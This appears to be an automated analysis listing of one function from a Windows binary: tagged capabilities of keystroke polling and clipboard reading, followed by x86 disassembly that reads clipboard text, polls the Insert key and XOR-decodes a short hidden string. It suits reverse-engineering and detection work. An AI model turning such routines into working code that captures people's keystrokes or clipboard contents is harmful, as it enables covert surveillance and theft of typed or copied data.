Function at 0x4c0640
Capabilities:
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0x60
mov eax, dword [0x4d900c]
xor eax, esp
mov dword [esp + 0x58], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x4c0695
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0
mov dword [esi + 0x10], 0
mov ecx, esi
push 0x4cb469
mov dword [esi + 0x14], 0
call fcn.004b7120
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.004c8789
add esp, 0x60
ret
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x4c065f
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
xorps xmm0, xmm0
test edx, edx
je 0x4c0662
mov ecx, edx
mov dword [esp + 0x5c], 0
movups xmmword [esp + 0x4c], xmm0
mov dword [esp + 0x60], 0
lea ebx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c06d0
sub ecx, ebx
push ecx
push edx
lea ecx, [esp + 0x54]
call fcn.004b7120
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0x2d
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x4c0832
mov bh, 2
mov byte [esp + 0x18], 0
mov cl, 0x30
mov byte [esp + 0x10], bh
mov ch, cl
mov byte [esp + 0x18], 0
mov dl, 0x34
mov dword [esp + 0x44], 0
xor cl, bh
mov dword [esp + 0x48], 0
xor ch, bh
mov byte [esp + 0x12], cl
mov al, 0x46
mov byte [esp + 0x16], ch
mov bl, 0x76
lea ecx, [esp + 0x11]
mov ah, 0x53
mov dh, 0x51
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x13], dl
xor ah, bh
mov byte [esp + 0x11], al
xor dh, bh
mov byte [esp + 0x14], bl
xorps xmm0, xmm0
mov byte [esp + 0x17], dh
mov byte [esp + 0x15], ah
lea edx, [ecx + 1]
movups xmmword [esp + 0x34], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c0763
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.004b7120
mov ecx, 0x61
mov dword [esp + 0x2c], 0
cmp dword [esp + 0x44], ecx
lea eax, [esp + 0x34]
xorps xmm0, xmm0
mov dword [esp + 0x30], 0
cmovb ecx, dword [esp + 0x44]
cmp dword [esp + 0x48], 0x10
push ecx
cmovae eax, dword [esp + 0x38]
lea ecx, [esp + 0x20]
push eax
movups xmmword [esp + 0x24], xmm0
call fcn.004b7120
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x38]
call fcn.004b5fe0
mov ecx, dword [esp + 0x30]
cmp ecx, 0x10
jb 0x4c07fa
mov edx, dword [esp + 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4c07f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4c0822
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0x48]
cmp ecx, 0x10
jb 0x4c0832
mov edx, dword [esp + 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4c0828
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4c0828
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c8a1d
add esp, 8
call dword [sym.imp.USER32.dll_CloseClipboard]
movups xmm0, xmmword [esp + 0x4c]
mov ecx, dword [esp + 0x64]
mov eax, esi
pop edi
movups xmmword [esi], xmm0
movq xmm0, qword [esp + 0x58]
movq qword [esi + 0x10], xmm0
pop esi
pop ebx
xor ecx, esp
call fcn.004c8789
add esp, 0x60
ret